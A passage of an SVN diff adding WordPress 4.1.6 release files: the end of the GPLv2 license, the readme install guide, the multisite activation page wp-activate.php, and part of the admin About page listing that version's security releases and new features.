+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded.  In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation.  If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+  10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission.  For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this.  Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+                            NO WARRANTY
+
+  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License along
+    with this program; if not, write to the Free Software Foundation, Inc.,
+    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this
+when it starts in an interactive mode:
+
+    Gnomovision version 69, Copyright (C) year name of author
+    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, the commands you use may
+be called something other than `show w' and `show c'; they could even be
+mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the program, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+  `Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+  <signature of Ty Coon>, 1 April 1989
+  Ty Coon, President of Vice
+
+This General Public License does not permit incorporating your program into
+proprietary programs.  If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.
+
+WRITTEN OFFER
+
+The source code for any program binaries or compressed scripts that are
+included with WordPress can be freely obtained at the following URL:
+
+	https://wordpress.org/download/source/
Index: /tags/4.1.6/src/readme.html
===================================================================
--- /tags/4.1.6/src/readme.html	(revision 33402)
+++ /tags/4.1.6/src/readme.html	(revision 33402)
@@ -0,0 +1,96 @@
+<!DOCTYPE html>
+<html>
+<head>
+	<meta name="viewport" content="width=device-width" />
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<title>WordPress &#8250; ReadMe</title>
+	<link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" />
+</head>
+<body>
+<h1 id="logo">
+	<a href="https://wordpress.org/"><img alt="WordPress" src="wp-admin/images/wordpress-logo.png" /></a>
+	<br /> Version 4.1.6
+</h1>
+<p style="text-align: center">Semantic Personal Publishing Platform</p>
+
+<h1>First Things First</h1>
+<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I&#8217;m proud to be a part of. Thousands of hours have gone into WordPress, and we&#8217;re dedicated to making it better every day. Thank you for making it part of your world.</p>
+<p style="text-align: right">&#8212; Matt Mullenweg</p>
+
+<h1>Installation: Famous 5-minute install</h1>
+<ol>
+	<li>Unzip the package in an empty directory and upload everything.</li>
+	<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser. It will take you through the process to set up a <code>wp-config.php</code> file with your database connection details.
+		<ol>
+			<li>If for some reason this doesn&#8217;t work, don&#8217;t worry. It doesn&#8217;t work on all web hosts. Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
+			<li>Save the file as <code>wp-config.php</code> and upload it.</li>
+			<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser.</li>
+		</ol>
+	</li>
+	<li>Once the configuration file is set up, the installer will set up the tables needed for your blog. If there is an error, double check your <code>wp-config.php</code> file, and try again. If it fails again, please go to the <a href="https://wordpress.org/support/" title="WordPress support">support forums</a> with as much data as you can gather.</li>
+	<li><strong>If you did not enter a password, note the password given to you.</strong> If you did not provide a username, it will be <code>admin</code>.</li>
+	<li>The installer should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on &#8220;Profile&#8221; to change the password.</li>
+</ol>
+
+<h1>Updating</h1>
+<h2>Using the Automatic Updater</h2>
+<p>If you are updating from version 2.7 or higher, you can use the automatic updater:</p>
+<ol>
+	<li>Open <span class="file"><a href="wp-admin/update-core.php">wp-admin/update-core.php</a></span> in your browser and follow the instructions.</li>
+	<li>You wanted more, perhaps? That&#8217;s it!</li>
+</ol>
+
+<h2>Updating Manually</h2>
+<ol>
+	<li>Before you update anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</li>
+	<li>Delete your old WordPress files, saving ones you&#8217;ve modified.</li>
+	<li>Upload the new files.</li>
+	<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
+</ol>
+
+<h1>Migrating from other systems</h1>
+<p>WordPress can <a href="http://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above, before using <a href="wp-admin/import.php" title="Import to WordPress">our import tools</a>.</p>
+
+<h1>System Requirements</h1>
+<ul>
+	<li><a href="http://php.net/">PHP</a> version <strong>5.2.4</strong> or higher.</li>
+	<li><a href="http://www.mysql.com/">MySQL</a> version <strong>5.0</strong> or higher.</li>
+</ul>
+
+<h2>System Recommendations</h2>
+<ul>
+	<li>The <a href="http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html">mod_rewrite</a> Apache module.</li>
+	<li>A link to <a href="https://wordpress.org/">https://wordpress.org</a> on your site.</li>
+</ul>
+
+<h1>Online Resources</h1>
+<p>If you have any questions that aren&#8217;t addressed in this document, please take advantage of WordPress&#8217; numerous online resources:</p>
+<dl>
+	<dt><a href="http://codex.wordpress.org/">The WordPress Codex</a></dt>
+		<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
+	<dt><a href="https://wordpress.org/news/">The WordPress Blog</a></dt>
+		<dd>This is where you&#8217;ll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.</dd>
+	<dt><a href="https://planet.wordpress.org/">WordPress Planet</a></dt>
+		<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
+	<dt><a href="https://wordpress.org/support/">WordPress Support Forums</a></dt>
+		<dd>If you&#8217;ve looked everywhere and still can&#8217;t find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
+	<dt><a href="http://codex.wordpress.org/IRC">WordPress <abbr title="Internet Relay Chat">IRC</abbr> Channel</a></dt>
+		<dd>There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
+</dl>
+
+<h1>Final Notes</h1>
+<ul>
+	<li>If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the <a href="https://wordpress.org/support/">Support Forums</a>.</li>
+	<li>WordPress has a robust plugin <abbr title="application programming interface">API</abbr> that makes extending the code easy. If you are a developer interested in utilizing this, see the <a href="http://codex.wordpress.org/Plugin_API" title="WordPress plugin API">plugin documentation in the Codex</a>. You shouldn&#8217;t modify any of the core code.</li>
+</ul>
+
+<h1>Share the Love</h1>
+<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better&#8212;you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
+
+<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/caf&#233;log</a>, which came from Michel V. The work has been continued by the <a href="https://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="https://wordpress.org/donate/" title="Donate to WordPress">donating</a>.</p>
+
+<h1>License</h1>
+<p>WordPress is free software, and is released under the terms of the <abbr title="GNU General Public License">GPL</abbr> version 2 or (at your option) any later version. See <a href="license.txt">license.txt</a>.</p>
+
+</body>
+</html>
Index: /tags/4.1.6/src/wp-activate.php
===================================================================
--- /tags/4.1.6/src/wp-activate.php	(revision 33402)
+++ /tags/4.1.6/src/wp-activate.php	(revision 33402)
@@ -0,0 +1,131 @@
+<?php
+/**
+ * Confirms that the activation key that is sent in an email after a user signs
+ * up for a new blog matches the key for that user and then displays confirmation.
+ *
+ * @package WordPress
+ */
+
+define( 'WP_INSTALLING', true );
+
+/** Sets up the WordPress Environment. */
+require( dirname(__FILE__) . '/wp-load.php' );
+
+require( dirname( __FILE__ ) . '/wp-blog-header.php' );
+
+if ( !is_multisite() ) {
+	wp_redirect( site_url( '/wp-login.php?action=register' ) );
+	die();
+}
+
+if ( is_object( $wp_object_cache ) )
+	$wp_object_cache->cache_enabled = false;
+
+// Fix for page title
+$wp_query->is_404 = false;
+
+/**
+ * Fires before the Site Activation page is loaded.
+ *
+ * @since 3.0.0
+ */
+do_action( 'activate_header' );
+
+/**
+ * Adds an action hook specific to this page that fires on wp_head
+ *
+ * @since MU
+ */
+function do_activate_header() {
+    /**
+     * Fires before the Site Activation page is loaded, but on the wp_head action.
+     *
+     * @since 3.0.0
+     */
+    do_action( 'activate_wp_head' );
+}
+add_action( 'wp_head', 'do_activate_header' );
+
+/**
+ * Loads styles specific to this page.
+ *
+ * @since MU
+ */
+function wpmu_activate_stylesheet() {
+	?>
+	<style type="text/css">
+		form { margin-top: 2em; }
+		#submit, #key { width: 90%; font-size: 24px; }
+		#language { margin-top: .5em; }
+		.error { background: #f66; }
+		span.h3 { padding: 0 8px; font-size: 1.3em; font-family: "Lucida Grande", Verdana, Arial, "Bitstream Vera Sans", sans-serif; font-weight: bold; color: #333; }
+	</style>
+	<?php
+}
+add_action( 'wp_head', 'wpmu_activate_stylesheet' );
+
+get_header();
+?>
+
+<div id="content" class="widecolumn">
+	<?php if ( empty($_GET['key']) && empty($_POST['key']) ) { ?>
+
+		<h2><?php _e('Activation Key Required') ?></h2>
+		<form name="activateform" id="activateform" method="post" action="<?php echo network_site_url('wp-activate.php'); ?>">
+			<p>
+			    <label for="key"><?php _e('Activation Key:') ?></label>
+			    <br /><input type="text" name="key" id="key" value="" size="50" />
+			</p>
+			<p class="submit">
+			    <input id="submit" type="submit" name="Submit" class="submit" value="<?php esc_attr_e('Activate') ?>" />
+			</p>
+		</form>
+
+	<?php } else {
+
+		$key = !empty($_GET['key']) ? $_GET['key'] : $_POST['key'];
+		$result = wpmu_activate_signup( $key );
+		if ( is_wp_error($result) ) {
+			if ( 'already_active' == $result->get_error_code() || 'blog_taken' == $result->get_error_code() ) {
+			    $signup = $result->get_error_data();
+				?>
+				<h2><?php _e('Your account is now active!'); ?></h2>
+				<?php
+				echo '<p class="lead-in">';
+				if ( $signup->domain . $signup->path == '' ) {
+					printf( __('Your account has been activated. You may now <a href="%1$s">log in</a> to the site using your chosen username of &#8220;%2$s&#8221;. Please check your email inbox at %3$s for your password and login instructions. If you do not receive an email, please check your junk or spam folder. If you still do not receive an email within an hour, you can <a href="%4$s">reset your password</a>.'), network_site_url( 'wp-login.php', 'login' ), $signup->user_login, $signup->user_email, wp_lostpassword_url() );
+				} else {
+					printf( __('Your site at <a href="%1$s">%2$s</a> is active. You may now log in to your site using your chosen username of &#8220;%3$s&#8221;. Please check your email inbox at %4$s for your password and login instructions. If you do not receive an email, please check your junk or spam folder. If you still do not receive an email within an hour, you can <a href="%5$s">reset your password</a>.'), 'http://' . $signup->domain, $signup->domain, $signup->user_login, $signup->user_email, wp_lostpassword_url() );
+				}
+				echo '</p>';
+			} else {
+				?>
+				<h2><?php _e('An error occurred during the activation'); ?></h2>
+				<?php
+			    echo '<p>'.$result->get_error_message().'</p>';
+			}
+		} else {
+			$url = isset( $result['blog_id'] ) ? get_blogaddress_by_id( (int) $result['blog_id'] ) : '';
+			$user = get_userdata( (int) $result['user_id'] );
+			?>
+			<h2><?php _e('Your account is now active!'); ?></h2>
+
+			<div id="signup-welcome">
+				<p><span class="h3"><?php _e('Username:'); ?></span> <?php echo $user->user_login ?></p>
+				<p><span class="h3"><?php _e('Password:'); ?></span> <?php echo $result['password']; ?></p>
+			</div>
+
+			<?php if ( $url && $url != network_home_url( '', 'http' ) ) : ?>
+				<p class="view"><?php printf( __('Your account is now activated. <a href="%1$s">View your site</a> or <a href="%2$s">Log in</a>'), $url, $url . 'wp-login.php' ); ?></p>
+			<?php else: ?>
+				<p class="view"><?php printf( __('Your account is now activated. <a href="%1$s">Log in</a> or go back to the <a href="%2$s">homepage</a>.' ), network_site_url('wp-login.php', 'login'), network_home_url() ); ?></p>
+			<?php endif;
+		}
+	}
+	?>
+</div>
+<script type="text/javascript">
+	var key_input = document.getElementById('key');
+	key_input && key_input.focus();
+</script>
+<?php get_footer();
Index: /tags/4.1.6/src/wp-admin/about.php
===================================================================
--- /tags/4.1.6/src/wp-admin/about.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/about.php	(revision 33402)
@@ -0,0 +1,234 @@
+<?php
+/**
+ * About This Version administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+wp_enqueue_style( 'wp-mediaelement' );
+wp_enqueue_script( 'wp-mediaelement' );
+wp_localize_script( 'mediaelement', '_wpmejsSettings', array(
+	'pluginPath' => includes_url( 'js/mediaelement/', 'relative' ),
+	'pauseOtherPlayers' => ''
+) );
+
+$title = __( 'About' );
+
+list( $display_version ) = explode( '-', $wp_version );
+
+include( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+<!--[if lt IE 9]><script>document.createElement('audio');document.createElement('video');</script><![endif]-->
+<div class="wrap about-wrap">
+
+<h1><?php printf( __( 'Welcome to WordPress&nbsp;%s' ), $display_version ); ?></h1>
+
+<div class="about-text"><?php printf( __( 'Thank you for updating! WordPress %s helps you focus on your writing, and the new default theme lets you show it off in style.' ), $display_version ); ?></div>
+
+<div class="wp-badge"><?php printf( __( 'Version %s' ), $display_version ); ?></div>
+
+<h2 class="nav-tab-wrapper">
+	<a href="about.php" class="nav-tab nav-tab-active">
+		<?php _e( 'What&#8217;s New' ); ?>
+	</a><a href="credits.php" class="nav-tab">
+		<?php _e( 'Credits' ); ?>
+	</a><a href="freedoms.php" class="nav-tab">
+		<?php _e( 'Freedoms' ); ?>
+	</a>
+</h2>
+
+<div class="changelog point-releases">
+	<h3><?php echo _n( 'Maintenance and Security Release', 'Maintenance and Security Releases', 6 ); ?></h3>
+	<p><?php printf( _n( '<strong>Version %1$s</strong> addressed a security issue.',
+         '<strong>Version %1$s</strong> addressed some security issues.', 2 ), '4.1.6' ); ?>
+		<?php printf( __( 'For more information, see <a href="%s">the release notes</a>.' ), 'https://codex.wordpress.org/Version_4.1.6' ); ?>
+ 	</p>
+	<p><?php printf( _n( '<strong>Version %1$s</strong> addressed some security issues and fixed %2$s bug.',
+         '<strong>Version %1$s</strong> addressed some security issues and fixed %2$s bugs.', 3 ), '4.1.5', number_format_i18n( 3 ) ); ?>
+		<?php printf( __( 'For more information, see <a href="%s">the release notes</a>.' ), 'https://codex.wordpress.org/Version_4.1.5' ); ?>
+	</p>
+	<p><?php printf( _n( '<strong>Version %1$s</strong> addressed a security issue.',
+         '<strong>Version %1$s</strong> addressed some security issues.', 1 ), '4.1.4' ); ?>
+		<?php printf( __( 'For more information, see <a href="%s">the release notes</a>.' ), 'https://codex.wordpress.org/Version_4.1.4' ); ?>
+ 	</p>
+	<p><?php printf( _n( '<strong>Version %1$s</strong> addressed %2$s bug.',
+         '<strong>Version %1$s</strong> addressed %2$s bugs.', 1 ), '4.1.3', number_format_i18n( 1 ) ); ?>
+		<?php printf( __( 'For more information, see <a href="%s">the release notes</a>.' ), 'https://codex.wordpress.org/Version_4.1.3' ); ?>
+ 	</p>
+	<p><?php printf( _n( '<strong>Version %1$s</strong> addressed a security issue.',
+         '<strong>Version %1$s</strong> addressed some security issues.', 8 ), '4.1.2' ); ?>
+		<?php printf( __( 'For more information, see <a href="%s">the release notes</a>.' ), 'https://codex.wordpress.org/Version_4.1.2' ); ?>
+ 	</p>
+	<p><?php printf( _n( '<strong>Version %1$s</strong> addressed %2$s bug.',
+         '<strong>Version %1$s</strong> addressed %2$s bugs.', 21 ), '4.1.1', number_format_i18n( 21 ) ); ?>
+		<?php printf( __( 'For more information, see <a href="%s">the release notes</a>.' ), 'https://codex.wordpress.org/Version_4.1.1' ); ?>
+ 	</p>
+</div>
+
+<div class="changelog headline-feature">
+	<h2><?php _e( 'Introducing Twenty&nbsp;Fifteen' ); ?></h2>
+	<div class="featured-image">
+		<img src="//s.w.org/images/core/4.1/theme.png?0" />
+	</div>
+
+	<div class="feature-section">
+		<div class="col">
+			<h3><?php _e( 'Our newest default theme, Twenty Fifteen, is a blog-focused theme designed for clarity.' ); ?></h3>
+			<p><?php printf( __( 'Twenty Fifteen has flawless language support, with help from <a href="%s">Google&#8217;s Noto font family</a>.' ), 'https://www.google.com/get/noto/' ); ?></p>
+			<p><?php _e( 'The straightforward typography is readable on any screen size.' ); ?></p>
+			 <p><?php _e( 'Your content always takes center stage, whether viewed on a phone, tablet, laptop, or desktop computer.' ); ?></p>
+		</div>
+		<div class="col">
+			<img class="" src="//s.w.org/images/core/4.1/mobile.png?0" />
+		</div>
+	</div>
+
+	<div class="clear"></div>
+</div>
+
+<hr />
+
+<div class="changelog headline-feature dfw">
+	<h2><?php _e( 'Distraction-free writing' ); ?></h2>
+	<div class="feature-section">
+		<div class="dfw-container">
+			<img src="//s.w.org/images/core/4.1/focus.png?0" class="base-image" />
+			<img src="//s.w.org/images/core/4.1/focus1.png?0" class="overlay-image fade-in" />
+			<img src="//s.w.org/images/core/4.1/focus2.png?0" class="overlay-image fade-in" />
+			<img src="//s.w.org/images/core/4.1/focus3.png?0" class="overlay-image from-left" />
+		</div>
+		<h3><em><?php _e( 'Just write.' ); ?></em></h3>
+		<p><?php _e( 'Sometimes, you just need to concentrate on putting your thoughts into words. Try turning on <strong>distraction-free writing mode</strong>. When you start typing, all the distractions will fade away, letting you focus solely on your writing. All your editing tools instantly return when you need them.' ); ?></p>
+	</div>
+</div>
+
+<hr />
+
+<div class="changelog feature-list finer-points">
+	<h2><?php _e( 'The Finer Points' ); ?></h2>
+
+	<div class="feature-section col two-col">
+		<div>
+			<svg viewBox="-30 -30 160 160"><path d="M57.9,28.9h-7.9c-1.6,0-3.2,0.3-4.7,1c-1.5,0.7-2.7,1.6-3.7,2.7l-4.7-14.2H21.7L9.2,55.3h8.9l3.9-10.5h14.9v21.1H10.5 c-2.9,0-5.4-1-7.4-3.1C1,60.6,0,58.1,0,55.3V18.4c0-2.9,1-5.4,3.1-7.4c2.1-2.1,4.5-3.1,7.4-3.1h36.8c2.9,0,5.4,1,7.4,3.1 c2.1,2.1,3.1,4.5,3.1,7.4V28.9z M34.3,39.5H23.6l5.3-15.4L34.3,39.5z M52.6,34.2h36.8c2.9,0,5.4,1,7.4,3.1c2.1,2.1,3.1,4.5,3.1,7.4 v36.8c0,2.9-1,5.4-3.1,7.4c-2.1,2.1-4.5,3.1-7.4,3.1H52.6c-2.9,0-5.4-1-7.4-3.1c-2.1-2.1-3.1-4.5-3.1-7.4V44.7c0-2.9,1-5.4,3.1-7.4 C47.3,35.2,49.8,34.2,52.6,34.2z M90.8,60.5v-5.7H74.1V43.4H68v11.4H51.3v5.7h6.7c0.3,2.3,1.1,4.7,2.2,7.2c1.2,2.5,2.7,4.7,4.5,6.6 c-2.2,0.9-4.5,1.7-6.9,2.3s-4.1,0.9-5.2,0.9l0.3,1.4c0.2,0.9,0.4,2,0.6,3.3c0.2,1.3,0.3,2.3,0.2,3.1c2.2,0,4.9-0.6,8.1-1.7 c3.2-1.1,6.3-2.6,9.2-4.3c2.9,1.8,6,3.2,9.3,4.3c3.3,1.1,6.1,1.7,8.3,1.7c0-0.5,0-1.1,0.1-1.8c0.1-0.7,0.2-1.4,0.3-2 c0.1-0.7,0.2-1.3,0.3-1.9c0.1-0.6,0.2-1.1,0.3-1.4l0.1-0.6c-1.2,0-3-0.3-5.4-1c-2.5-0.7-4.8-1.4-7.1-2.3c1.8-2,3.3-4.2,4.4-6.6 s1.9-4.8,2.2-7.1H90.8z M70.7,70.7c-2.7-2.5-4.4-5.8-5.3-10.2h11c-0.9,4.4-2.7,7.7-5.3,10.2l-0.2,0.2 C70.8,70.8,70.8,70.7,70.7,70.7z"/></svg>
+			<h4><?php _e( 'Choose a language' ); ?></h4>
+			<p><?php
+				$count = '<span id="translations-count">' . 40 . '</span>';
+				$string = __( 'Right now, WordPress %1$s is already translated into %2$s languages, with more always in progress. You can switch to any translation on the <a href="%3$s">General Settings</a> screen.' );
+				if ( ! current_user_can( 'manage_options' ) ) {
+					$string = strip_tags( $string );
+				}
+				echo sprintf( $string, $display_version, $count, admin_url( 'options-general.php' ) );
+			?></p>
+		</div>
+
+		<div class="last-feature">
+			<svg viewBox="-30 -30 160 160"><path d="M35.3,26.5H5.9c-1.5,0-2.9-0.6-4.1-1.7C0.6,23.6,0,22.2,0,20.6c0-1.6,0.6-3,1.7-4.1c1.2-1.2,2.5-1.7,4.1-1.7h29.4 c1.6,0,3,0.6,4.1,1.7c1.2,1.2,1.7,2.5,1.7,4.1c0,1.6-0.6,3-1.7,4.1C38.3,25.9,36.9,26.5,35.3,26.5z M68.9,77.7 c-1.2,1.2-2.5,1.7-4.1,1.7H17.6c-1.6,0-3-0.6-4.1-1.7c-1.2-1.2-1.7-2.5-1.7-4.1V38.2c0-1.6,0.6-3,1.7-4.1c1.2-1.2,2.5-1.7,4.1-1.7 h47.1c1.6,0,3,0.6,4.1,1.7c1.2,1.2,1.7,2.5,1.7,4.1v35.3C70.6,75.1,70,76.5,68.9,77.7z M76.5,61.8L100,85.3V26.5L76.5,50V61.8z"/></svg>
+			<h4><?php _e( 'Vine embeds' ); ?></h4>
+			<p><?php printf( __( 'Embedding videos from Vine is as simple as pasting a URL onto its own line in a post. See the <a href="%s">full list</a> of supported embeds.' ), 'http://codex.wordpress.org/Embeds' ); ?></p>
+		</div>
+
+		<div>
+			<svg viewBox="-30 -30 160 160"><path d="M61.4,78.6V61.4L72.9,50v40H10V27.1h45.7L44.3,38.6H21.4v40H61.4z M44.3,10H90v45.7L78.6,50V32.4l-32,31.9l-8.1-8.1 l34.8-34.9H50L44.3,10z"/></svg>
+			<h4><?php _e( 'Log out everywhere' ); ?></h4>
+			<p><?php printf( __( 'If you&#8217;ve ever worried you forgot to sign out from a shared computer, you can now go to <a href="%s">your profile</a> and log out everywhere.' ), get_edit_profile_url() ); ?></p>
+		</div>
+
+		<div class="last-feature">
+			<svg viewBox="-30 -30 160 160"><path d="M35.1,30.1l4.7-5.8l46.4,46.4L80,75c-1.7,1.7-4.6,3.1-8.6,4.3c-4,1.1-7.7,1.7-11,1.7h-20L34,87.4 c-1.5,1.5-3.3,2.3-5.5,2.3c-2.1,0-3.9-0.8-5.5-2.3c-1.5-1.5-2.3-3.3-2.3-5.4c0-2.1,0.8-4,2.3-5.5l6.4-6.4v-20 c0-3.3,0.5-7,1.6-11.2C32.1,34.7,33.4,31.8,35.1,30.1z M76.2,21L59.6,37.7L49.9,28l16.7-16.7c0.9-0.9,2.1-1.2,3.7-0.8 c1.6,0.3,3,1.2,4.3,2.5c1.3,1.3,2.2,2.7,2.5,4.3C77.4,18.9,77.1,20.1,76.2,21z M72.4,50.5l16.7-16.7c0.9-0.9,2.1-1.2,3.7-0.9 c1.6,0.3,3,1.1,4.3,2.5c1.3,1.3,2.2,2.7,2.5,4.3c0.3,1.6,0,2.8-0.9,3.7L82,60.1L72.4,50.5z"/><path d="M10.9,40.4l3.4,6.8L21,48l-4.7,5.2l1.3,7.5l-6.8-3.4l-6.8,3.4l1.3-7.5L0.7,48l6.8-0.8L10.9,40.4z"/></svg>
+			<h4><?php _e( 'Plugin recommendations' ); ?></h4>
+			<p><?php
+				$string = __( 'The <a href="%s">plugin installer</a> suggests plugins for you to try. Recommendations are based on the plugins you and other users have installed.' );
+				if ( ! current_user_can( 'install_plugins' ) ) {
+					$string = strip_tags( $string );
+				}
+				echo sprintf( $string, network_admin_url( 'plugin-install.php?tab=recommended' ) );
+			?></p>
+		</div>
+	</div>
+</div>
+
+<hr />
+
+<div class="changelog feature-list">
+	<h2><?php _e( 'Under the Hood' ); ?></h3>
+
+	<div class="feature-section col two-col">
+		<div>
+			<h4><?php _e( 'Complex Queries' ); ?></h4>
+			<p><?php printf( __( 'Metadata, date, and term queries now support advanced conditional logic, like nested clauses and multiple operators &mdash; %s.' ), '<code>A&nbsp;AND&nbsp;(&nbsp;B&nbsp;OR&nbsp;C&nbsp;)</code>' ); ?></p>
+
+			<h4><?php _e( 'Customizer API' ); ?></h4>
+			<p><?php _e( 'Expanded JavaScript APIs in the customizer enable a new media experience as well as dynamic and contextual controls, sections, and panels.' ); ?></p>
+		</div>
+		<div class="last-feature">
+			<h4><?php
+				/* translators: %s: "<title>" tag */
+				printf( __( '%s tags in themes' ), '<code>&lt;title&gt;</code>' );
+			?></h4>
+			<p><?php
+				printf( __( '%s tells WordPress to handle the complexities of document titles.' ), "<code>add_theme_support( 'title-tag' )</code>" );
+			?></p>
+
+			<h4><?php _e( 'Developer Reference' ); ?></h4>
+			<p><?php printf( __( 'Continued improvements to inline code documentation have made the <a href="%s">developer reference</a> more complete than ever.' ), 'https://developer.wordpress.org/reference/' ); ?></p>
+		</div>
+	</div>
+
+	<hr />
+
+	<div class="return-to-dashboard">
+		<?php if ( current_user_can( 'update_core' ) && isset( $_GET['updated'] ) ) : ?>
+		<a href="<?php echo esc_url( self_admin_url( 'update-core.php' ) ); ?>"><?php
+			is_multisite() ? _e( 'Return to Updates' ) : _e( 'Return to Dashboard &rarr; Updates' );
